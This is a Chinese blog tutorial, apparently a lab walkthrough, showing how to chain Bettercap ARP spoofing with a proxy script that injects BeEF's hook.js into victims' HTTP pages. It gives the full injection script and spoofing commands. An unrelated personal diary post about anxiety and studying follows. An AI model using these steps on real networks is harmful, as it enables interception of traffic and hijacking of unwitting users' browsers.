<h2 id="0x022-%E5%AE%89%E8%A3%85">0x02.2 &#x5B89;&#x88C5;</h2>
<p>&#x8FD9;&#x91CC;&#x6211;&#x91C7;&#x7528;&#x5B98;&#x65B9;&#x6587;&#x6863;&#x7ED9;&#x7684;&#x7F16;&#x8BD1;&#x5B89;&#x88C5;&#xFF0C;KALI&#x81EA;&#x5E26;bettercap&#x3002;</p>
<p>&#x73AF;&#x5883;&#x8981;&#x6C42;</p>
<ul>
<li>go &gt;= 1.8</li>
</ul>
<pre><code class="language-bash">go get github.com/bettercap/bettercap
cd $GOPATH/src/github.com/bettercap/bettercap
make build
sudo make install
</code></pre>
<h2 id="0x023-%E5%AE%98%E6%96%B9%E6%A8%A1%E5%9D%97">0x02.3 &#x5B98;&#x65B9;&#x6A21;&#x5757;</h2>
<ul>
<li>
<p><a href="https://www.bettercap.org/modules/core/?ref=iobiji.com">Core</a></p>
</li>
<li>
<ul>
<li><a href="https://www.bettercap.org/modules/core/events.stream/?ref=iobiji.com">events.stream</a></li>
<li><a href="https://www.bettercap.org/modules/core/ticker/?ref=iobiji.com">ticker</a></li>
<li><a href="https://www.bettercap.org/modules/core/caplets/?ref=iobiji.com">caplets</a></li>
<li><a href="https://www.bettercap.org/modules/core/update/?ref=iobiji.com">update</a></li>
<li><a href="https://www.bettercap.org/modules/core/api.rest/?ref=iobiji.com">api.rest</a></li>
<li><a href="https://www.bettercap.org/modules/core/ui/?ref=iobiji.com">ui</a></li>
<li><a href="https://www.bettercap.org/modules/core/c2/?ref=iobiji.com">c2</a></li>
</ul>
</li>
<li>
<p><a href="https://www.bettercap.org/modules/ble/?ref=iobiji.com">Bluetooth LE</a></p>
</li>
<li>
<p><a href="https://www.bettercap.org/modules/wifi/?ref=iobiji.com">WiFi</a></p>
</li>
<li>
<p><a href="https://www.bettercap.org/modules/hid/?ref=iobiji.com">HID on 2.4Ghz</a></p>
</li>
<li>
<p><a href="https://www.bettercap.org/modules/ethernet/?ref=iobiji.com">IPv4 / IPv6</a></p>
</li>
<li>
<ul>
<li>
<p><a href="https://www.bettercap.org/modules/ethernet/net.recon/?ref=iobiji.com">net.recon</a></p>
</li>
<li>
<p><a href="https://www.bettercap.org/modules/ethernet/net.probe/?ref=iobiji.com">net.probe</a></p>
</li>
</ul>
</li>
<li>
<p><a href="https://www.bettercap.org/modules/ethernet/net.sniff/?ref=iobiji.com">net.sniff - net.fuzz</a></p>
<ul>
<li>
<p><a href="https://www.bettercap.org/modules/ethernet/syn.scan/?ref=iobiji.com">syn.scan</a></p>
</li>
<li>
<p><a href="https://www.bettercap.org/modules/ethernet/wol/?ref=iobiji.com">wake on lan</a></p>
</li>
</ul>
</li>
<li>
<p><a href="https://www.bettercap.org/modules/ethernet/spoofers/?ref=iobiji.com">Spoofers</a></p>
<ul>
<li>
<ul>
<li><a href="https://www.bettercap.org/modules/ethernet/spoofers/arp.spoof/?ref=iobiji.com">arp.spoof</a></li>
</ul>
</li>
<li>
<p><a href="https://www.bettercap.org/modules/ethernet/spoofers/dns.spoof/?ref=iobiji.com">dns.spoof</a></p>
<ul>
<li><a href="https://www.bettercap.org/modules/ethernet/spoofers/dhcp6.spoof/?ref=iobiji.com">dhcp6.spoof</a></li>
<li><a href="https://www.bettercap.org/modules/ethernet/spoofers/ndp.spoof/?ref=iobiji.com">ndp.spoof (IPv6)</a></li>
</ul>
</li>
<li>
<p><a href="https://www.bettercap.org/modules/ethernet/proxies/?ref=iobiji.com">Proxies</a></p>
</li>
<li>
<ul>
<li><a href="https://www.bettercap.org/modules/ethernet/proxies/any.proxy/?ref=iobiji.com">any.proxy</a></li>
<li><a href="https://www.bettercap.org/modules/ethernet/proxies/packet.proxy/?ref=iobiji.com">packet.proxy</a></li>
<li><a href="https://www.bettercap.org/modules/ethernet/proxies/tcp.proxy/?ref=iobiji.com">tcp.proxy</a></li>
<li><a href="https://www.bettercap.org/modules/ethernet/proxies/http.proxy/?ref=iobiji.com">http.proxy</a></li>
<li><a href="https://www.bettercap.org/modules/ethernet/proxies/https.proxy/?ref=iobiji.com">https.proxy</a></li>
</ul>
</li>
<li>
<p><a href="https://www.bettercap.org/modules/ethernet/servers/?ref=iobiji.com">Servers</a></p>
</li>
<li>
<ul>
<li><a href="https://www.bettercap.org/modules/ethernet/servers/http.server/?ref=iobiji.com">http.server</a></li>
<li><a href="https://www.bettercap.org/modules/ethernet/servers/https.server/?ref=iobiji.com">https.server</a></li>
<li><a href="https://www.bettercap.org/modules/ethernet/servers/mdns.server/?ref=iobiji.com">mdns.server</a></li>
<li><a href="https://www.bettercap.org/modules/ethernet/servers/mysql.server/?ref=iobiji.com">mysql.server (rogue)</a></li>
</ul>
</li>
</ul>
</li>
<li>
<p><a href="https://www.bettercap.org/modules/utils/?ref=iobiji.com">Utils</a></p>
</li>
<li>
<ul>
<li><a href="https://www.bettercap.org/modules/utils/mac.changer/?ref=iobiji.com">mac.changer</a></li>
<li><a href="https://www.bettercap.org/modules/utils/gps/?ref=iobiji.com">gps</a></li>
</ul>
</li>
</ul>
<h2 id="0x024-%E4%BD%BF%E7%94%A8">0x02.4 &#x4F7F;&#x7528;</h2>
<p>&#x597D;&#x5BB6;&#x4F19;&#xFF0C;Bettercap&#x6700;&#x65B0;&#x7248;&#x5DF2;&#x7ECF;&#x5E26;WebUI&#x4E86;&#xFF0C;&#x4E0D;&#x8FC7;&#x8FD8;&#x662F;&#x559C;&#x6B22;&#x547D;&#x4EE4;&#x4EA4;&#x4E92;&#x5F0F;&#x3002;</p>
<pre><code class="language-bash">sudo bettercap -caplet http-ui # &#x8FD0;&#x884C;bettercap
</code></pre>
<p><img src="https://cdn.iobiji.com/2021/04/run_bettercap.jpg" alt="MITM&#x4E2D;&#x95F4;&#x4EBA;&#x653B;&#x51FB;-Bettercap + beef xss&#x7684;&#x7EC4;&#x5408;&#x62F3;" loading="lazy"></p>
<p>&#x4EA4;&#x4E92;&#x6A21;&#x5F0F;&#x4E0B;&#x952E;&#x5165;help&#x83B7;&#x53D6;&#x5E2E;&#x52A9;&#x4FE1;&#x606F;<br>
<img src="https://cdn.iobiji.com/2021/04/bettercap_help.jpg" alt="MITM&#x4E2D;&#x95F4;&#x4EBA;&#x653B;&#x51FB;-Bettercap + beef xss&#x7684;&#x7EC4;&#x5408;&#x62F3;" loading="lazy"></p>
<h1 id="0x03-beef%E7%AE%80%E4%BB%8B">0x03 Beef&#x7B80;&#x4ECB;</h1>
<blockquote>
<p>BeEF&#x662F;&#x6D4F;&#x89C8;&#x5668;&#x5F00;&#x53D1;&#x6846;&#x67B6;&#x7684;&#x7F29;&#x5199;&#x3002;&#x5B83;&#x662F;&#x4E00;&#x4E2A;&#x4E13;&#x6CE8;&#x4E8E;web&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x6E17;&#x900F;&#x6D4B;&#x8BD5;&#x5DE5;&#x5177;&#x3002;</p>
<p>&#x968F;&#x7740;&#x4EBA;&#x4EEC;&#x8D8A;&#x6765;&#x8D8A;&#x62C5;&#x5FC3;&#x9488;&#x5BF9;&#x5BA2;&#x6237;&#x7AEF;&#xFF08;&#x5305;&#x62EC;&#x79FB;&#x52A8;&#x5BA2;&#x6237;&#x7AEF;&#xFF09;&#x7684;&#x7F51;&#x7EDC;&#x653B;&#x51FB;&#xFF0C;BeEF&#x5141;&#x8BB8;&#x4E13;&#x4E1A;&#x6E17;&#x900F;&#x6D4B;&#x8BD5;&#x4EBA;&#x5458;&#x4F7F;&#x7528;&#x5BA2;&#x6237;&#x7AEF;&#x653B;&#x51FB;&#x5411;&#x91CF;&#x6765;&#x8BC4;&#x4F30;&#x76EE;&#x6807;&#x73AF;&#x5883;&#x7684;&#x5B9E;&#x9645;&#x5B89;&#x5168;&#x6001;&#x52BF;&#x3002;&#x4E0E;&#x5176;&#x4ED6;&#x5B89;&#x5168;&#x6846;&#x67B6;&#x4E0D;&#x540C;&#xFF0C;BeEF&#x8D85;&#x8D8A;&#x4E86;&#x52A0;&#x56FA;&#x7684;&#x7F51;&#x7EDC;&#x8FB9;&#x754C;&#x548C;&#x5BA2;&#x6237;&#x673A;&#x7CFB;&#x7EDF;&#xFF0C;&#x5E76;&#x5728;&#x4E00;&#x6247;&#x6253;&#x5F00;&#x7684;&#x95E8;&#xFF1A;web&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x4E0A;&#x4E0B;&#x6587;&#x4E2D;&#x68C0;&#x67E5;&#x53EF;&#x5229;&#x7528;&#x6027;&#x3002;BeEF&#x5C06;&#x94A9;&#x4F4F;&#x4E00;&#x4E2A;&#x6216;&#x591A;&#x4E2A;web&#x6D4F;&#x89C8;&#x5668;&#xFF0C;&#x5E76;&#x5C06;&#x5B83;&#x4EEC;&#x7528;&#x4F5C;&#x542F;&#x52A8;&#x5B9A;&#x5411;&#x547D;&#x4EE4;&#x6A21;&#x5757;&#x7684;&#x6EE9;&#x5934;&#x9635;&#x5730;&#xFF0C;&#x5E76;&#x4ECE;&#x6D4F;&#x89C8;&#x5668;&#x4E0A;&#x4E0B;&#x6587;&#x4E2D;&#x8FDB;&#x4E00;&#x6B65;&#x653B;&#x51FB;&#x7CFB;&#x7EDF;&#x3002;</p>
</blockquote>
<h2 id="0x031-%E5%AE%89%E8%A3%85%E4%B8%8E%E8%BF%90%E8%A1%8C">0x03.1 &#x5B89;&#x88C5;&#x4E0E;&#x8FD0;&#x884C;</h2>
<pre><code class="language-bash">git clone https://github.com/beefproject/beef.git # git&#x4E0B;&#x8F7D;beef&#x6E90;&#x7801;
cd beef-master
sudo ./install # &#x6267;&#x884C;&#x5B89;&#x88C5;&#x7A0B;&#x5E8F;
./beef # &#x8FD0;&#x884C;beef GUI
</code></pre>
<h1 id="0x04-%E7%BB%84%E5%90%88%E6%8B%B3%E5%BC%80%E5%A7%8B%EF%BC%81">0x04 &#x7EC4;&#x5408;&#x62F3;&#x5F00;&#x59CB;&#xFF01;</h1>
<p>&#x4E86;&#x89E3;&#x4E86;bettercap&#x548C;beef&#x7684;&#x5B89;&#x88C5;&#x548C;&#x57FA;&#x672C;&#x4F7F;&#x7528;&#x540E;&#xFF0C;&#x6211;&#x4EEC;&#x8FDB;&#x5165;&#x6B63;&#x6587;&#x3002;</p>
<h2 id="0x041-%E6%80%9D%E8%B7%AF">0x04.1 &#x601D;&#x8DEF;</h2>
<p>&#x4F7F;&#x7528;bettercap&#x8FDB;&#x884C;arp&#x6B3A;&#x9A97;&#x5E76;&#x6CE8;&#x5165;beef&#x7684;hook js</p>
<h2 id="0x042-bettercap%E6%93%8D%E4%BD%9C">0x04.2 bettercap&#x64CD;&#x4F5C;</h2>
<p>&#x7528;&#x5230;&#x7684;&#x6A21;&#x5757;:</p>
<ul>
<li>arp.spoof</li>
<li>http.proxy</li>
<li>https.proxy</li>
<li>net.probe</li>
</ul>
<p>&#x5176;&#x4E2D;<code>http.proxy</code>&#x548C;<code>https.proxy</code>&#x6A21;&#x5757;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;javascript&#x6587;&#x4EF6;&#x7F16;&#x5199;&#x6A21;&#x5757;&#x811A;&#x672C;&#xFF0C;&#x4E14;&#x6587;&#x4EF6;&#x5FC5;&#x987B;&#x81F3;&#x5C11;&#x58F0;&#x660E;&#x4EE5;&#x4E0B;&#x51FD;&#x6570;&#x4E4B;&#x4E00;&#xFF1A;</p>
<pre><code class="language-javascript">// &#x5728;&#x52A0;&#x8F7D;&#x811A;&#x672C;&#x65F6;&#x8C03;&#x7528;
function onLoad() {
  log(&quot;Script loaded!&quot;);
}

//&#x5F53;&#x4EE3;&#x7406;&#x63A5;&#x6536;&#x5230;&#x8BF7;&#x6C42;&#x65F6;&#x8C03;&#x7528;
//&#x5728;&#x53D1;&#x9001;&#x5230;&#x771F;&#x6B63;&#x7684;&#x670D;&#x52A1;&#x5668;&#x4E4B;&#x524D;
function onRequest(req, res) {

}

//&#x5F53;&#x8BF7;&#x6C42;&#x88AB;&#x53D1;&#x9001;&#x5230;&#x5B9E;&#x9645;&#x670D;&#x52A1;&#x5668;&#x65F6;&#x8C03;&#x7528;
//&#x6536;&#x5230;&#x56DE;&#x590D;
function onResponse(req, res) {

}

//&#x6BCF;&#x6B21;&#x952E;&#x5165;&#x672A;&#x77E5;&#x4F1A;&#x8BDD;&#x547D;&#x4EE4;&#x65F6;&#x8C03;&#x7528;&#xFF0C;
//&#x4EE3;&#x7406;&#x6A21;&#x5757;&#x53EF;&#x4EE5;&#x9009;&#x62E9;&#x4EE5;&#x4E0B;&#x65B9;&#x5F0F;&#x5904;&#x7406;&#x81EA;&#x5B9A;&#x4E49;&#x547D;&#x4EE4;&#xFF1A;
function onCommand(cmd) {
    if( cmd == &quot;test&quot; ) {
        /*
         * Custom session command logic here.
         */

        // tell the session we handled this command
        return true
    }
}
</code></pre>
<h2 id="0x043-%E6%94%B9%E5%86%99%E8%87%AA%E5%B7%B1%E7%9A%84js%E8%84%9A%E6%9C%AC">0x04.3 &#x6539;&#x5199;&#x81EA;&#x5DF1;&#x7684;JS&#x811A;&#x672C;</h2>
<p>&#x5728;&#x8FDB;&#x884C;arp&#x6B3A;&#x9A97;&#x4E4B;&#x524D;&#xFF0C;&#x51C6;&#x5907;&#x5DE5;&#x4F5C;&#x6539;&#x5199;&#x4E00;&#x4E2A;JS&#x811A;&#x672C;&#x65B9;&#x4FBF;&#x5728;bettercap&#x4F7F;&#x7528;<code>http(s).proxy.script</code>&#x6A21;&#x5757;</p>
<pre><code class="language-javascript">// &#x672A;&#x8C03;&#x7528;beef&#x7684;hookjs

function onLoad() {
  log(&quot;Script loaded!&quot;);
}

function onResponse(req, res) {
    if( res.ContentType.indexOf(&apos;text/html&apos;) == 0 ){
        var body = res.ReadBody();
        if( body.indexOf(&apos;&lt;/head&gt;&apos;) != -1 ) {
            res.Body = body.replace( 
                &apos;&lt;/head&gt;&apos;, 
                &apos;&lt;script type=&quot;text/javascript&quot;&gt;&apos; + &quot;\n&quot; +
                    AbuserJavascript +
                &apos;&lt;/script&gt;&apos; +
                &apos;&lt;/head&gt;&apos;
            ); 
        }
    }
}
</code></pre>
<pre><code class="language-javascript">// &#x4F7F;&#x7528;beef&#x7684;hook js
function onLoad() {
  log(&quot;Script loaded!&quot;);
}

function onResponse(req, res) {
    if( res.ContentType.indexOf(&apos;text/html&apos;) == 0 ){
        var body = res.ReadBody();
        if( body.indexOf(&apos;&lt;/head&gt;&apos;) != -1 ) {
            res.Body = body.replace( 
                &apos;&lt;/head&gt;&apos;, 
                &apos;&lt;script src=&quot;beef&#x7684;hookjs&#x5730;&#x5740;&quot;&gt;&lt;/script&gt;&apos; +
                &apos;&lt;/head&gt;&apos;
            ); 
        }
    }
}
</code></pre>
<p>&#x5C06;&#x4EE5;&#x4E0A;&#x6587;&#x672C;&#x53E6;&#x4FDD;&#x5B58;&#x4E3A;<code>eval.js</code></p>
<h2 id="0x044-%E9%85%8D%E7%BD%AEbettercap%E7%9B%B8%E5%85%B3%E6%A8%A1%E5%9D%97%E5%8F%82%E6%95%B0%E5%B9%B6%E5%BC%80%E5%90%AFarp%E6%AC%BA%E9%AA%97">0x04.4 &#x914D;&#x7F6E;bettercap&#x76F8;&#x5173;&#x6A21;&#x5757;&#x53C2;&#x6570;&#x5E76;&#x5F00;&#x542F;arp&#x6B3A;&#x9A97;</h2>
<p>&#x5728;&#x6B64;&#x4E4B;&#x524D;&#x5148;&#x628A;beef&#x8DD1;&#x8D77;&#x6765;&#xFF0C;&#x5E76;&#x4E3A;bettercap&#x5F00;&#x542F;&#x6D41;&#x91CF;&#x8F6C;&#x53D1;</p>
<pre><code class="language-bash">./beef # &#x8FDB;&#x5165;&#x5230;beef&#x76EE;&#x5F55;&#x4E0B;&#x6267;&#x884C;
echo 1 &gt; /proc/sys/net/ipv4/ip_forward # &#x6D41;&#x91CF;&#x8F6C;&#x53D1;&#xFF0C;&#x4E0D;&#x5F00;&#x6D41;&#x91CF;&#x8F6C;&#x53D1;&#xFF0C;&#x5BFC;&#x81F4;arp&#x6B3A;&#x9A97;&#x540E;&#x53D7;&#x5BB3;&#x8005;&#x51FA;&#x73B0;&#x65AD;&#x7F51;&#x73B0;&#x8C61;
</code></pre>
<p><img src="https://cdn.iobiji.com/2021/04/run_beef.jpg" alt="MITM&#x4E2D;&#x95F4;&#x4EBA;&#x653B;&#x51FB;-Bettercap + beef xss&#x7684;&#x7EC4;&#x5408;&#x62F3;" loading="lazy"></p>
<p>Hook js url: <a href="http://10.211.55.4:3000/hook.js?ref=iobiji.com">http://10.211.55.4:3000/hook.js</a></p>
<p>UI URL: <a href="http://127.0.0.1:3000/ui/panel?ref=iobiji.com">http://127.0.0.1:3000/ui/panel</a></p>
<pre><code class="language-bash">sudo bettercap -caplet http-ui # &#x8FD0;&#x884C;bettercap
set http.proxy.script /home/crack/eval.js # &#x521A;&#x521A;&#x6539;&#x5199;&#x7684;eval.js&#x6587;&#x4EF6;
http.proxy on # &#x8FD0;&#x884C;http.proxy&#x6A21;&#x5757;&#xFF0C;&#x6B64;&#x6A21;&#x5757;&#x53EA;&#x52AB;&#x6301;http&#x534F;&#x8BAE;
net.probe on # &#x6FC0;&#x6D3B;&#x540E;&#xFF0C;&#x6B64;&#x6A21;&#x5757;&#x5C06;&#x5411;&#x5F53;&#x524D;&#x5B50;&#x7F51;&#x4E2D;&#x7684;&#x6BCF;&#x4E2A;IP&#x53D1;&#x9001;&#x4E0D;&#x540C;&#x7C7B;&#x578B;&#x7684;&#x63A2;&#x6D4B;&#x6570;&#x636E;&#x5305;&#xFF0C;&#x4EE5;&#x4FBF;net.recon&#x6A21;&#x5757;&#x6765;&#x68C0;&#x6D4B;&#x5B83;&#x4EEC;
arp.spoof on # &#x5F00;&#x542F;arp&#x6B3A;&#x9A97;&#x6A21;&#x5757;&#xFF0C;&#x9ED8;&#x8BA4;&#x5BF9;&#x5168;&#x7F51;&#x6BB5;&#x4E3B;&#x673A;&#x8FDB;&#x884C;arp&#x6B3A;&#x9A97;&#xFF0C;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;set arp.spoof.targets 192.168.1.x&#xFF0C;&#x6B3A;&#x9A97;&#x6307;&#x5B9A;&#x76EE;&#x6807;&#x4E4B;&#x540E;&#x518D;arp.spoof on
</code></pre>
<p>&#x5F53;&#x9776;&#x673A;&#x6253;&#x5F00;&#x4EFB;&#x610F;http&#x7F51;&#x7AD9;&#x5C31;&#x4E0A;&#x94A9;&#x4E86; ~&#x53EF;&#x4EE5;&#x770B;&#x5230;bettercap&#x547D;&#x4EE4;&#x4EA4;&#x4E92;&#x754C;&#x9762;&#x5DF2;&#x7ECF;&#x6709;&#x56DE;&#x663E;&#xFF0C;&#x4E14;&#x9776;&#x673A;&#x4E5F;&#x5728;beef&#x4E0A;&#x7EBF;&#x4E86;</p>
<p><img src="https://cdn.iobiji.com/2021/04/1619265388786.jpg" alt="MITM&#x4E2D;&#x95F4;&#x4EBA;&#x653B;&#x51FB;-Bettercap + beef xss&#x7684;&#x7EC4;&#x5408;&#x62F3;" loading="lazy"></p>
<p><img src="https://cdn.iobiji.com/2021/04/1619265426374.jpg" alt="MITM&#x4E2D;&#x95F4;&#x4EBA;&#x653B;&#x51FB;-Bettercap + beef xss&#x7684;&#x7EC4;&#x5408;&#x62F3;" loading="lazy"></p>
<p>&#x4F7F;&#x7528;beef&#x7684;<code>Create Alert Dialog</code>&#x6A21;&#x5757;&#x6D4B;&#x8BD5;&#x5728;&#x7EBF;&#xFF0C;&#x8F93;&#x5165;alert text&#x5E76;execute</p>
<p><img src="https://cdn.iobiji.com/2021/04/1619265482145.jpg" alt="MITM&#x4E2D;&#x95F4;&#x4EBA;&#x653B;&#x51FB;-Bettercap + beef xss&#x7684;&#x7EC4;&#x5408;&#x62F3;" loading="lazy"></p>
<p>&#x6B64;&#x65F6;&#x9776;&#x673A;&#x663E;&#x793A;&#x5982;&#x4E0B;</p>
<p><img src="https://cdn.iobiji.com/2021/04/1619265505982.jpg" alt="MITM&#x4E2D;&#x95F4;&#x4EBA;&#x653B;&#x51FB;-Bettercap + beef xss&#x7684;&#x7EC4;&#x5408;&#x62F3;" loading="lazy"></p>
<h2 id="0x045-%E9%81%87%E5%88%B0%E7%9A%84%E9%97%AE%E9%A2%98">0x04.5 &#x9047;&#x5230;&#x7684;&#x95EE;&#x9898;</h2>
<p>&#x4F7F;&#x7528;bettercap&#x7684;<code>http.proxy</code>&#x6A21;&#x5757;&#x65F6;&#x9776;&#x673A;&#x8BBF;&#x95EE;&#x6B63;&#x5E38;&#xFF0C;&#x800C;&#x4F7F;&#x7528;<code>https.proxy</code>&#x6A21;&#x5757;&#x65F6;&#xFF0C;&#x9776;&#x673A;&#x6D4F;&#x89C8;&#x5668;&#x663E;&#x793A;&#x4E0D;&#x53D7;&#x4FE1;&#x4EFB;&#x7684;&#x8BC1;&#x4E66;&#xFF0C;&#x4E0D;&#x4E88;&#x8BBF;&#x95EE;&#xFF0C;&#x76EE;&#x524D;&#x8FD8;&#x6CA1;&#x6709;&#x60F3;&#x5230;&#x89E3;&#x51B3;&#x65B9;&#x6CD5;&#x3002;</p>
<h1 id="0x05-%E6%9C%80%E5%90%8E">0x05 &#x6700;&#x540E;</h1>
<p>beef&#x53EF;&#x73A9;&#x7684;&#x59FF;&#x52BF;&#x8FD8;&#x5F88;&#x591A;&#xFF0C;&#x6BD4;&#x5982;beef&#x7684;Clippy&#x6A21;&#x5757;&#x52A0;&#x4E0A;msf&#x7684;&#x7EC4;&#x5408;&#x62F3;&#xFF0C;&#x8FD9;&#x91CC;&#x4E0D;&#x518D;&#x505A;&#x6269;&#x5C55;&#xFF0C;&#x5404;&#x4F4D;&#x770B;&#x5B98;&#x81EA;&#x884C;&#x5C55;&#x5F00;&#x8111;&#x8865;&#x3002;</p>
<p>&#x535A;&#x5BA2;&#x5B89;&#x5168;&#x7C7B;&#x7684;&#x7B2C;&#x4E00;&#x7BC7;&#x6C34;&#x6587;&#xFF0C;&#x4E0B;&#x6B21;&#x518D;&#x89C1;&#xFF01;</p>
]]></content:encoded></item><item><title><![CDATA[随便写写]]></title><description><![CDATA[2021原来已经来到3月份了呢，而我依旧一事无成，每晚焦虑失眠到崩溃，好似于地狱人间折返。]]></description><link>https://iobiji.com/sui-bian-xie-xie/</link><guid isPermaLink="false">656e0e57d732aa747eb28176</guid><category><![CDATA[生活杂记]]></category><dc:creator><![CDATA[ LeslieLin]]></dc:creator><pubDate>Mon, 01 Mar 2021 15:05:46 GMT</pubDate><media:content url="https://cdn.iobiji.com/2021/03/WechatIMG235.jpeg" medium="image"/><content:encoded><![CDATA[<h1 id="%E8%BF%91%E6%9C%9F">&#x8FD1;&#x671F;</h1>
<blockquote>
<img src="https://cdn.iobiji.com/2021/03/WechatIMG235.jpeg" alt="&#x968F;&#x4FBF;&#x5199;&#x5199;"><p>&#x8BF4;&#x5B9E;&#x8BDD;&#xFF0C;&#x8FC7;&#x5F97;&#x771F;&#x62E7;&#x5DF4;&#xFF0C;&#x81EA;&#x5DF1;&#x4E0D;&#x662F;&#x6EE1;&#x610F;&#x7684;&#x81EA;&#x5DF1;&#xFF0C;&#x751F;&#x6D3B;&#x4E5F;&#x4E0D;&#x662F;&#x7406;&#x60F3;&#x4E2D;&#x7684;&#x751F;&#x6D3B;&#xFF0C;&#x4E00;&#x5207;&#x7684;&#x4E0D;&#x5982;&#x610F;&#xFF0C;&#x90FD;&#x5FEB;&#x6210;&#x4E86;&#x538B;&#x5012;&#x81EA;&#x5DF1;&#x7684;&#x6700;&#x540E;&#x4E00;&#x6839;&#x7A3B;&#x8349;&#xFF0C;&#x73B0;&#x5728;&#x7684;&#x72B6;&#x6001;&#x5C31;&#x662F;&#x4E00;&#x773C;&#x671B;&#x5230;&#x5934;&#x7684;&#x751F;&#x6D3B;&#x3002;</p>
</blockquote>
<p>2021&#x539F;&#x6765;&#x5DF2;&#x7ECF;&#x6765;&#x5230;3&#x6708;&#x4EFD;&#x4E86;&#x5462;&#xFF0C;&#x800C;&#x6211;&#x4F9D;&#x65E7;&#x4E00;&#x4E8B;&#x65E0;&#x6210;&#xFF0C;&#x6BCF;&#x665A;&#x7126;&#x8651;&#x5931;&#x7720;&#x5230;&#x5D29;&#x6E83;&#xFF0C;&#x597D;&#x4F3C;&#x4E8E;&#x5730;&#x72F1;&#x4EBA;&#x95F4;&#x6298;&#x8FD4;&#x3002;</p>
<h1 id="%E5%AD%A6%E4%B9%A0">&#x5B66;&#x4E60;</h1>
<p>java&#x5DF2;&#x7ECF;&#x6253;&#x597D;&#x4E86;&#x57FA;&#x7840;&#xFF0C;&#x505A;&#x4E86;&#x4E0D;&#x5C11;&#x7684;&#x7B14;&#x8BB0;&#xFF0C;&#x4FD7;&#x8BDD;&#x8BF4;&#x597D;&#x8BB0;&#x6027;&#x4E0D;&#x5982;&#x70C2;&#x7B14;&#x5934;&#xFF0C;&#x518D;&#x8005;&#x81EA;&#x5DF1;&#x7684;&#x8BB0;&#x5FC6;&#x529B;&#x786E;&#x5B9E;&#x662F;&#x4E0B;&#x964D;&#x4E86;&#xFF0C;&#x57FA;&#x7840;&#x4E4B;&#x540E;&#x63A5;&#x4E0B;&#x6765;&#x5C31;&#x662F;javaweb&#x4E86;&#xFF0C;&#x4E3B;&#x8981;&#x662F;&#x4EE5;&#x638C;&#x63E1;SPRINGBOOT&#x4E3A;&#x5C0F;&#x76EE;&#x6807;&#x3002;2&#x6708;26&#x65E5;&#x56DB;&#x7EA7;&#x6210;&#x7EE9;&#x4E5F;&#x51FA;&#x4E86;&#xFF0C;&#x4E00;&#x6B21;&#x8FC7;&#x633A;&#x597D;&#xFF0C;&#x867D;&#x7136;&#x4E0D;&#x662F;&#x81EA;&#x5DF1;&#x60F3;&#x8981;&#x7684;&#x6210;&#x7EE9;&#xFF08;&#x88F8;&#x8003;&#xFF09;&#xFF0C;&#x4E0D;&#x8FC7;&#x628A;&#x516D;&#x7EA7;&#x8003;&#x597D;&#xFF0C;&#x56DB;&#x7EA7;&#x6210;&#x7EE9;&#x597D;&#x4E0D;&#x597D;&#x4E5F;&#x65E0;&#x6240;&#x8C13;&#x4E86;&#x3002;&#x63D2;&#x672C;&#x7684;&#x60F3;&#x6CD5;&#x4E00;&#x76F4;&#x6839;&#x6DF1;&#x8482;&#x56FA;&#xFF0C;&#x4E89;&#x53D6;&#x63D2;&#x672C;&#x4E0A;&#x5CB8;&#xFF0C;&#x8003;&#x53D6;&#x516B;&#x7EA7;&#x3002;</p>
<h1 id="%E7%94%9F%E6%B4%BB">&#x751F;&#x6D3B;</h1>
<p>&#x8001;&#x5B9E;&#x8BF4;&#xFF0C;&#x771F;&#x7684;&#x6709;&#x70B9;&#x6491;&#x4E0D;&#x4E0B;&#x53BB;&#x3002;&#x6CA1;&#x4EC0;&#x4E48;&#x8BF4;&#x7684;&#x4E86;&#x3002;</p>
<blockquote>
<p>&#x751F;&#x6D3B;&#x53EF;&#x80FD;&#x4E0D;&#x662F;&#x4F60;&#x60F3;&#x8C61;&#x7684;&#x90A3;&#x4E48;&#x597D;&#xFF0C;<br>
&#x4F46;&#x4E5F;&#x4E0D;&#x662F;&#x4F60;&#x60F3;&#x8C61;&#x4E2D;&#x7684;&#x90A3;&#x4E48;&#x7CDF;&#xFF0C;<br>
&#x4EBA;&#x7684;&#x8106;&#x5F31;&#x548C;&#x575A;&#x5F3A;&#x90FD;&#x8D85;&#x4E4E;&#x81EA;&#x5DF1;&#x7684;&#x60F3;&#x8C61;&#x3002;<br>
&#x6709;&#x65F6;&#x5019;&#x53EF;&#x80FD;&#x8106;&#x5F31;&#x5F97;&#x4E00;&#x53E5;&#x8BDD;&#x5C31;&#x6CEA;&#x6D41;&#x6EE1;&#x9762;&#xFF0C;<br>
&#x6709;&#x65F6;&#x5019;&#x4F60;&#x53D1;&#x73B0;&#x81EA;&#x5DF1;&#x54AC;&#x7259;<br>
&#x5DF2;&#x7ECF;&#x8D70;&#x8FC7;&#x4E86;&#x5F88;&#x957F;&#x7684;&#x8DEF;&#x3002;</p>
</blockquote>
<p>&#x4EC5;&#x4EE5;&#x6B64;&#x6BB5;&#x6FC0;&#x52B1;&#x81EA;&#x5DF1;&#xFF0C;&#x60F3;&#x5230;&#x4EC0;&#x4E48;&#x518D;&#x8865;&#x5145;&#x5427;&#x3002;</p>
<h1 id="%E5%B7%A5%E4%BD%9C">&#x5DE5;&#x4F5C;</h1>
<p>&#x4E00;&#x5982;&#x65E2;&#x5F80;&#x7684;&#x4E0D;&#x7A33;&#x5B9A;&#xFF0C;&#x5176;&#x5B9E;&#x9879;&#x76EE;&#x8D8A;&#x591A;&#x8D8A;&#x597D;&#xFF0C;&#x7D2F;&#x57AE;&#x8EAB;&#x4F53;&#x4E5F;&#x65E0;&#x6240;&#x8C13;&#x3002;&#x4E0D;&#x8FC7;&#x6700;&#x8FD1;&#x597D;&#x50CF;&#x4E0A;&#x5929;&#x7ED9;&#x6211;&#x7684;&#x673A;&#x4F1A;&#x6765;&#x4E86;&#xFF0C;&#x5E0C;&#x671B;&#x6211;&#x597D;&#x597D;&#x628A;&#x63E1;&#x3002;</p>
<h1 id="in-the-end">In The End</h1>
<blockquote>
<p>&#x6211;&#x59CB;&#x7EC8;&#x76F8;&#x4FE1;&#xFF0C;&#x4E00;&#x5206;&#x8015;&#x8018;&#xFF0C;&#x4E00;&#x5206;&#x6536;&#x83B7;&#x3002;</p>
</blockquote>
